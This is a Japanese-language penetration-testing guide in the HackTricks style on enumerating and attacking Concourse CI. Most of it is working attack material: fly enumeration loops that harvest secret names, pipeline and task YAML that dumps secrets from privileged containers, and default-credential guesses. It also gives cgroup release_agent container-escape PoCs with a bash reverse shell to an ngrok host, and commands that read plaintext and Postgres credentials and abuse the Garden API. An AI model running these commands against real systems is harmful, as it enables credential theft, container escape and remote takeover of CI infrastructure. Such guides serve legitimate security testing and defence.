# Concourse Enumeration & Attacks {{#include ../../banners/hacktricks-training.md}} ## Concourse Enumeration & Attacks ### User Roles & Permissions Concourseには5つの役割があります: - _Concourse_ **Admin**: この役割は**メインチーム**(デフォルトの初期concourseチーム)の所有者にのみ与えられます。管理者は**他のチームを構成**できます(例:`fly set-team`、`fly destroy-team`...)。この役割の権限はRBACによって影響を受けません。 - **owner**: チームの所有者は**チーム内のすべてを変更**できます。 - **member**: チームメンバーは**チームの資産内で読み書き**できますが、チーム設定を変更することはできません。 - **pipeline-operator**: パイプラインオペレーターはビルドのトリガーやリソースのピン留めなどの**パイプライン操作**を実行できますが、パイプライン設定を更新することはできません。 - **viewer**: チームのビューワーはチームとそのパイプラインに**「読み取り専用」アクセス**を持っています。 > [!NOTE] > さらに、**owner、member、pipeline-operator、viewerの役割の権限はRBACを構成することで変更**できます(具体的にはそのアクションを構成します)。詳細については、[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)を参照してください。 Concourseは**チーム内にパイプラインをグループ化**します。したがって、チームに属するユーザーはそれらのパイプラインを管理でき、**複数のチーム**が存在する可能性があります。ユーザーは複数のチームに属し、それぞれのチーム内で異なる権限を持つことができます。 ### Vars & Credential Manager YAML構成では、`((_source-name_:_secret-path_._secret-field_))`という構文を使用して値を構成できます。\ [ドキュメントから:](https://concourse-ci.org/vars.html#var-syntax) **source-nameはオプション**であり、省略した場合は[クラスター全体の資格情報マネージャー](https://concourse-ci.org/vars.html#cluster-wide-credential-manager)が使用されるか、値が[静的に](https://concourse-ci.org/vars.html#static-vars)提供される場合があります。\ **オプションの\_secret-field**は、取得した秘密から読み取るフィールドを指定します。省略した場合、資格情報マネージャーはフィールドが存在する場合、取得した資格情報から「デフォルトフィールド」を読み取ることを選択する場合があります。\ さらに、_**secret-path**_と_**secret-field**_は、`。`や`:`のような**特殊文字**を含む場合、二重引用符`"..."`で囲むことができます。たとえば、`((source:"my.secret"."field:1"))`は、_secret-path_を`my.secret`に、_secret-field_を`field:1`に設定します。 #### Static Vars 静的変数は**タスクステップ**で指定できます: ```yaml - task: unit-1.13 file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` Or using the following `fly` **arguments**: - `-v` または `--var` `NAME=VALUE` は、文字列 `VALUE` を変数 `NAME` の値として設定します。 - `-y` または `--yaml-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、変数 `NAME` の値として設定します。 - `-i` または `--instance-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、インスタンス変数 `NAME` の値として設定します。インスタンス変数について詳しくは [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) を参照してください。 - `-l` または `--load-vars-from` `FILE` は、変数名と値のマッピングを含む YAML ドキュメント `FILE` を読み込み、すべてを設定します。 #### Credential Management パイプラインで **Credential Manager を指定する方法** はいくつかあります。詳細は [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) をお読みください。\ さらに、Concourse はさまざまな資格情報マネージャーをサポートしています: - [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) - [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) - [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html) - [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html) - [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html) - [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html) - [Caching credentials](https://concourse-ci.org/creds-caching.html) - [Redacting credentials](https://concourse-ci.org/creds-redacting.html) - [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] > Concourse に対して **書き込みアクセス** がある場合、**それらの秘密を外部に持ち出す** ジョブを作成できることに注意してください。Concourse はそれらにアクセスできる必要があります。 ### Concourse Enumeration Concourse 環境を列挙するには、まず **有効な資格情報を収集する** か、`.flyrc` 設定ファイルにある **認証トークンを見つける** 必要があります。 #### Login and Current User enum - ログインするには、**エンドポイント**、**チーム名**(デフォルトは `main`)、および **ユーザーが所属するチーム** を知っている必要があります: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` - 設定された **ターゲット** を取得: - `fly targets` - 設定された **ターゲット接続** がまだ **有効** かどうかを確認: - `fly -t status` - 指定されたターゲットに対するユーザーの **役割** を取得: - `fly -t userinfo` > [!NOTE] > **API トークン** はデフォルトで `$HOME/.flyrc` に **保存** されます。マシンを略奪する際に、そこに資格情報が見つかる可能性があります。 #### Teams & Users - チームのリストを取得: - `fly -t teams` - チーム内の役割を取得: - `fly -t get-team -n ` - ユーザーのリストを取得: - `fly -t active-users` #### Pipelines - **パイプラインのリスト**: - `fly -t pipelines -a` - パイプラインの YAML を **取得**(定義に **機密情報** が含まれている可能性があります): - `fly -t get-pipeline -p ` - すべてのパイプラインの **設定された変数** を取得: - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` - 使用されているすべての **パイプラインの秘密の名前** を取得(ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、それらを外部に持ち出すことができます): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; echo ""; done echo "" echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` #### コンテナとワーカー - **ワーカー**のリスト: - `fly -t workers` - **コンテナ**のリスト: - `fly -t containers` - **ビルド**のリスト(実行中のものを確認するため): - `fly -t builds` ### Concourse攻撃 #### 認証情報ブルートフォース - admin:admin - test:test #### シークレットとパラメータの列挙 前のセクションでは、パイプラインで使用される**すべてのシークレット名と変数**を**取得する**方法を見ました。**変数には機密情報が含まれている可能性があり**、**シークレットの名前は後でそれらを盗むために役立ちます**。 #### 実行中または最近実行されたコンテナ内のセッション 十分な権限(**メンバー役割以上**)があれば、**パイプラインと役割をリスト**し、次のコマンドを使用して**/** **コンテナ内にセッションを取得**できます: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` これらの権限があれば、次のことができるかもしれません: - **コンテナ**内の**秘密**を盗む - ノードに**エスケープ**しようとする - **クラウドメタデータ**エンドポイントを列挙/悪用する(ポッドおよびノードから、可能であれば) #### パイプラインの作成/変更 十分な権限(**メンバー役割以上**)があれば、**新しいパイプラインを作成/変更**することができます。次の例を確認してください: ```yaml jobs: - name: simple plan: - task: simple-task privileged: true config: # Tells Concourse which type of worker this task should run on platform: linux image_resource: type: registry-image source: repository: busybox # images are pulled from docker hub by default run: path: sh args: - -cx - | echo "$SUPER_SECRET" sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` 新しいパイプラインの**変更/作成**により、次のことが可能になります: - **秘密**を**盗む**(それらをエコー出力するか、コンテナ内に入り`env`を実行することで) - **ノード**に**エスケープ**する(十分な権限を与えることで - `privileged: true`) - **クラウドメタデータ**エンドポイントを列挙/悪用する(ポッドおよびノードから) - 作成したパイプラインを**削除**する #### カスタムタスクの実行 これは前の方法に似ていますが、全く新しいパイプラインを変更/作成する代わりに、**カスタムタスクを実行するだけ**で済みます(おそらくはるかに**ステルス性**が高いでしょう): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux image_resource: type: registry-image source: repository: ubuntu run: path: sh args: - -cx - | env sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` ```bash fly -t tutorial execute --privileged --config task_config.yml ``` #### 特権タスクからノードへのエスケープ 前のセクションでは、**concourseで特権タスクを実行する方法**を見ました。これは、dockerコンテナの特権フラグと同じアクセスをコンテナに与えるわけではありません。例えば、/devにノードのファイルシステムデバイスは表示されないため、エスケープは「複雑」になる可能性があります。 次のPoCでは、いくつかの小さな変更を加えてrelease_agentを使用してエスケープします: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" # It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # Enables cgroup notifications on release of the "x" cgroup echo 1 > /tmp/cgrp/x/notify_on_release # CHANGE ME # The host path will look like the following, but you need to change it: host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs" ## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command: #/dev/vda1 on /scratch type ext4 (rw,relatime) #/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime) #/dev/vda1 on /etc/hosts type ext4 (rw,relatime) #/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime) ## Then next part I think is constant "hostpath-provisioner/default/" ## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed # "concourse-work-dir" is constant # "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API) # "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number) ## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant # running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like: # workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028 # the UID is the part we are looking for # Then the host_path is: #host_path="/mnt//hostpath-provisioner/default/concourse-work-dir--worker-/overlays//rootfs" # Sets release_agent to /path/payload echo "$host_path/cmd" > /tmp/cgrp/release_agent #==================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd chmod a+x /cmd #==================================== # Get output echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #==================================== # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` > [!WARNING] > ご覧の通り、これは単なる[**通常のrelease_agentエスケープ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md)であり、ノード内のcmdのパスを変更するだけです。 #### Workerコンテナからノードへのエスケープ このためには、わずかな修正を加えた通常のrelease_agentエスケープで十分です: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # Enables cgroup notifications on release of the "x" cgroup echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1` echo "$host_path/cmd" > /tmp/cgrp/release_agent #==================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd chmod a+x /cmd #==================================== # Get output echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #==================================== # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` #### Webコンテナからノードへのエスケープ Webコンテナにいくつかの防御が無効になっていても、**一般的な特権コンテナとして実行されていません**(例えば、**マウント**できず、**能力**は非常に**制限されています**。そのため、コンテナからエスケープするための簡単な方法は無駄です)。 しかし、**ローカルの資格情報が平文で保存されています**: ```bash cat /concourse-auth/local-users test:test env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` その資格情報を使用して**ウェブサーバーにログイン**し、**特権コンテナを作成してノードにエスケープ**することができます。 環境内では、concourseが使用する**postgresql**インスタンスにアクセスするための情報(アドレス、**ユーザー名**、**パスワード**、およびデータベースなどの情報)も見つけることができます: ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432 CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432 CONCOURSE_POSTGRES_USER=concourse CONCOURSE_POSTGRES_DATABASE=concourse CONCOURSE_POSTGRES_PASSWORD=concourse [...] # Access the postgresql db psql -h 10.107.191.238 -U concourse -d concourse select * from password; #Find hashed passwords select * from access_tokens; select * from auth_code; select * from client; select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` #### ガーデンサービスの悪用 - 実際の攻撃ではない > [!WARNING] > これはサービスに関するいくつかの興味深いメモですが、ローカルホストでのみリッスンしているため、これらのメモは私たちがすでに利用したことのない影響をもたらすことはありません。 デフォルトでは、各concourseワーカーはポート7777で[**Garden**](https://github.com/cloudfoundry/garden)サービスを実行します。このサービスは、ウェブマスターがワーカーに**実行する必要があること**(イメージをダウンロードし、各タスクを実行する)を示すために使用されます。これは攻撃者にとってはかなり良いように思えますが、いくつかの優れた保護があります: - それは**ローカルにのみ公開されています**(127.0.0.1)し、ワーカーが特別なSSHサービスでウェブに対して認証するときに、ウェブサーバーが**各ワーカー内の各Gardenサービスと話すためのトンネルが作成される**と思います。 - ウェブサーバーは**数秒ごとに実行中のコンテナを監視しており**、**予期しない**コンテナは**削除されます**。したがって、**カスタムコンテナを実行したい場合**は、ウェブサーバーとガーデンサービス間の**通信を改ざんする**必要があります。 Concourseワーカーは高いコンテナ特権で実行されます: ``` Container Runtime: docker Has Namespaces: pid: true user: false AppArmor Profile: kernel Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` しかし、ノードの/devデバイスやrelease_agentを**マウント**するような技術は**機能しません**(ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみが存在します)。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出するのは複雑になります。 > [!NOTE] > 前のセクションでは特権コンテナから脱出する方法を見ましたので、**現在の** **ワーカー**によって作成された**特権コンテナ**でコマンドを**実行**できる場合、**ノードに脱出**できる可能性があります。 concourseで遊んでいると、新しいコンテナが何かを実行するために生成されるとき、コンテナプロセスはワーカーコンテナからアクセス可能であることに気付きました。つまり、コンテナがその内部に新しいコンテナを作成しているようなものです。 **実行中の特権コンテナに入る** ```bash # Get current container curl 127.0.0.1:7777/containers {"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]} # Get container info curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` **新しい特権コンテナの作成** ランダムなUIDを実行するだけで、新しいコンテナを非常に簡単に作成し、その上で何かを実行できます: ```bash curl -X POST http://127.0.0.1:7777/containers \ -H 'Content-Type: application/json' \ -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' # Wget will be stucked there as long as the process is being executed wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` しかし、ウェブサーバーは数秒ごとに実行中のコンテナをチェックしており、予期しないコンテナが発見されると削除されます。通信がHTTPで行われているため、予期しないコンテナの削除を回避するために通信を改ざんすることができます: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. . T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157 HTTP/1.1 200 OK. Content-Type: application/json. Date: Thu, 17 Mar 2022 22:42:55 GMT. Content-Length: 131. . {"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]} T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159 DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1. Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` ## 参考文献 - [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html) {{#include ../../banners/hacktricks-training.md}}